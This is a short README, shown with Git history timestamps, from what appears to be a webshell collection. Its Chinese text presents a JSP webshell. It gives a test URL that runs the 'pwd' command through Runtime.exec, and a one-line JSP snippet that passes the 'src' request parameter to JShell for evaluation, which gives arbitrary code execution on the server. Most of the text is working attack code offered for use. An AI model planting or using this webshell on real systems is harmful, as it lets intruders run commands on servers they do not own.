webshell/jsp/p2j.cn/readme.md

14 lines
514 B
Markdown
Raw Normal View History

2019-10-08 06:47:41 +00:00
readme
2019-10-08 07:29:35 +00:00
![图片](https://raw.githubusercontent.com/tennc/webshell/master/jsp/p2j.cn/20190910185302_297.png)
2019-10-08 06:47:41 +00:00
测试用例http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()
如果强迫症想撸掉多余的输出:
2019-10-08 07:30:13 +00:00
```
2019-10-08 06:47:41 +00:00
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
2019-10-08 07:30:13 +00:00
```
from: http://p2j.cn/?p=1874